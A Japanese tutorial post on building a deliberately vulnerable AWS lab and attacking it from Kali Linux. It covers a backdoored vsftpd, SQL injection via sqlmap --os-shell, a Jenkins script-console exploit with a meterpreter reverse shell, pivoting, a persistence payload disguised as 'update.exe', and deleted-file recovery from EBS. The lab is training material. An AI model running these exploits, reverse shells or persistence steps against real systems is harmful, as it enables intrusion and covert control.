AWS 上の Kali Linux を用いたクラウド環境における実践的ペネトレーションテスト

AWS におけるペネトレーションテストラボの構築

クラウドインフラストラクチャのセキュリティを評価するには、Amazon Web Services(AWS)内に制御された脆弱性環境を構築することが有効である。この環境では、誤った設定や既知の脆弱性を持つサービスを意図的に配置し、実際の攻撃シナリオを模倣することで、防御体制の検証が可能となる。

Ubuntu インスタンスへの脆弱な FTP サービスの導入

まず、EC2 に Ubuntu 16.04 LTS インスタンスをデプロイする。VPC とサブネットは後続のマシンと同一ネットワークに配置する必要がある。インスタンス起動後、SSH 接続を行いシステムを更新する:

sudo apt-get update && sudo apt-get dist-upgrade -y

次に、バックドア付きの vsftpd 2.3.4 を GitHub リポジトリからビルドしてインストールする:

git clone https://github.com/nikdubois/vsftpd-2.3.4-infected.git
cd vsftpd-2.3.4-infected
sudo apt-get install build-essential -y
# Makefile に LDFLAGS += -lcrypt を追加
make
sudo cp vsftpd /usr/local/sbin/
sudo mkdir -p /usr/share/empty /var/ftp
sudo useradd nobody
sudo useradd -d /var/ftp ftp
sudo cp vsftpd.conf /etc/
# 匿名ログインとローカルユーザーログインを有効化

Windows Server 2003 上での脆弱な Web アプリケーションのセットアップ

AWS Marketplace から Windows Server 2003 AMI を選択し、同じ VPC 内にデプロイする。RDP 接続後、XAMPP をインストールし、SQL インジェクション脆弱性を持つアプリケーションを展開する:

# C:\xampp\htdocs をクリア
# github.com/ShinDarth/sql-injection-demo の ZIP を展開
# phpMyAdmin で sqli データベースを作成し、database.sql をインポート

セキュリティグループによるネットワーク制御

両インスタンスが同一 VPC 内にあることを確認した上で、Kali Linux インスタンスのプライベート IP アドレスからのみ通信を許可するようにセキュリティグループを設定する。これにより、外部からの不正アクセスを防止しつつ、内部でのテスト通信を可能にする。

Kali Linux PentestBox の AWS 上での構成

AWS Marketplace から Kali Linux AMI(例:2018.1)を起動し、t2.medium インスタンスタイプを使用する。VPC 設定は前述のラボ環境と一致させる。

SSH 経由での root アクセスの有効化

モバイル端末などからの利便性のために、パスワード認証による root ログインを許可する(※本番環境では推奨されない):

sudo passwd root
sudo nano /etc/ssh/sshd_config
# PermitRootLogin yes
# PasswordAuthentication yes
sudo systemctl restart ssh

Apache Guacamole によるブラウザ経由の GUI アクセス

Guacamole を使用することで、SSH や RDP をブラウザから安全に利用できる。以下のように依存パッケージをインストールし、設定を行う:

sudo apt-get install ufw fail2ban tomcat8 xrdp build-essential \
libcairo2-dev libjpeg-dev libpng-dev libossp-uuid-dev freerdp2-dev \
libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev \
libpulse-dev libssl-dev libvorbis-dev -y

# ufw でポート 22 と 55555 を開放
sudo ufw allow 22/tcp
sudo ufw allow 55555/tcp
sudo ufw enable

# Tomcat のポートを 55555 に変更
sudo sed -i 's/port="8080"/port="55555"/' /etc/tomcat8/server.xml

# xrdp 設定
echo "allowed_users=anybody" | sudo tee /etc/X11/Xwrapper.config

# Guacamole サーバーのビルドとインストール
wget https://apache.osuosl.org/guacamole/1.0.0/source/guacamole-server-1.0.0.tar.gz
tar xvf guacamole-server-1.0.0.tar.gz
cd guacamole-server-1.0.0
./configure --with-init-dir=/etc/init.d
make -j$(nproc)
sudo make install
sudo ldconfig
sudo systemctl enable guacd

# Guacamole クライアント設定
sudo mkdir -p /etc/guacamole
cat <<EOF | sudo tee /etc/guacamole/guacamole.properties
guacd-hostname: localhost
guacd-port:     4822
EOF

cat <<EOF | sudo tee /etc/guacamole/user-mapping.xml
<user-mapping>
  <authorize username="pentester" password="SecurePass123!">
    <connection name="RDP">
      <protocol>rdp</protocol>
      <param name="hostname">localhost</param>
      <param name="port">3389</param>
    </connection>
    <connection name="SSH">
      <protocol>ssh</protocol>
      <param name="hostname">localhost</param>
      <param name="port">22</param>
    </connection>
  </authorize>
</user-mapping>
EOF

sudo mkdir -p /usr/share/tomcat8/.guacamole
sudo ln -s /etc/guacamole/guacamole.properties /usr/share/tomcat8/.guacamole/
sudo mv guacamole-1.0.0.war /var/lib/tomcat8/webapps/guacamole.war

sudo systemctl restart guacd tomcat8

これにより、http://<Kali_IP>:55555/guacamole にアクセスして GUI で操作可能となる。

自動スキャンとエクスプロイトの実行

Nessus による脆弱性スキャン

Kali 上に Nessus をインストールし、SSH トンネル経由でローカルからアクセスする:

# .deb パッケージをダウンロード後
sudo dpkg -i Nessus-*.deb
sudo systemctl start nessusd

# ローカル端末で
ssh -L 8834:127.0.0.1:8834 ec2-user@<Kali_IP>

Web UI で基本ネットワークスキャンを実行し、ターゲット IP(Ubuntu と Windows)を指定。DISCOVERY で全サービスをスキャン、ASSESSMENT で Web アプリケーションも対象とする。

Metasploit を用いた vsftpd バックドアの悪用

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <Ubuntu_IP>
exploit

成功すると、root 権限のリバースシェルが取得される。

sqlmap による SQL インジェクションの悪用

sqlmap --url="http://<Windows_IP>/books1.php?title=&author=t" --os-shell --tmp-path=C:\\xampp\\htdocs

対話型 OS シェルが得られ、任意コマンドを実行可能となる。

CI/CD 環境のシミュレーション:Jenkins サーバーのペネトレーションテスト

Windows Server 2008 上に Jenkins をインストールし、ユーザー名・パスワードを共に admin に設定。セキュリティグループで Kali IP のみを許可。

Nexpose による詳細スキャン

Rapid7 InsightVM(Nexpose)を Kali にインストールし、包括的なスキャンを実行。TCP/UDP 全ポートを対象とし、OS フィンガープリントとサービス識別を実施。

Metasploit による Jenkins Script Console の悪用

use exploit/multi/http/jenkins_script_console
set RHOSTS <Jenkins_IP>
set RPORT 8080
set USERNAME admin
set PASSWORD admin
set TARGETURI /
set target 0  # Windows
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <Kali_IP>
set LPORT 4444
exploit

Meterpreter による権限昇格とピボッティング

getsystem
background
route add <Internal_Subnet> <Subnet_Mask> <Session_ID>

# 内部ネットワークのスキャン
use auxiliary/scanner/portscan/tcp
set RHOSTS <Internal_Ubuntu_IP>
run

内部ホストへの到達が確認できたら、永続化のために msfvenom でペイロードを生成し、起動時に実行されるよう登録する:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Kali_IP> LPORT=4444 -f exe -o /tmp/payload.exe
# Meterpreter セッション内で
run post/windows/manage/persistence_exe REXEPATH=/tmp/payload.exe REXENAME=update.exe STARTUP=USER LocalExePath=C:\\temp

EBS ボリュームからの削除データの復元と暗号化の効果

EBS ボリュームの作成とマウント

# EC2 コンソールで 8GB EBS ボリューム作成(暗号化なし)
# Ubuntu インスタンスにアタッチ
sudo mkfs -t ext4 /dev/xvdf
sudo mkdir /mnt/ebs
sudo mount /dev/xvdf /mnt/ebs
echo "Secret Data" | sudo tee /mnt/ebs/sensitive.txt
sudo rm /mnt/ebs/sensitive.txt
sudo umount /dev/xvdf

The Sleuth Kit (TSK) による削除ファイルの復元

# ボリュームを Kali にアタッチ
sudo mmls /dev/xvdf
# オフセットを特定(例: 2048)
sudo fls -o 2048 /dev/xvdf
# inode 番号を取得(例: 12)
sudo icat -o 2048 /dev/xvdf 12 > recovered.txt
cat recovered.txt  # "Secret Data" が出力

EBS 暗号化によるデータ保護

AWS KMS を用いて EBS ボリュームを暗号化すると、上記の復元手法は失敗する。暗号化されたボリュームを Kali にアタッチしても、ファイルシステム構造が読み取れず、inode 情報が取得できないため、削除データの復元は不可能となる。これにより、物理的または論理的なデータ漏洩リスクを大幅に低減できる。

タグ: Kali Linux AWS penetration testing EC2 EBS

5月29日 21:48 投稿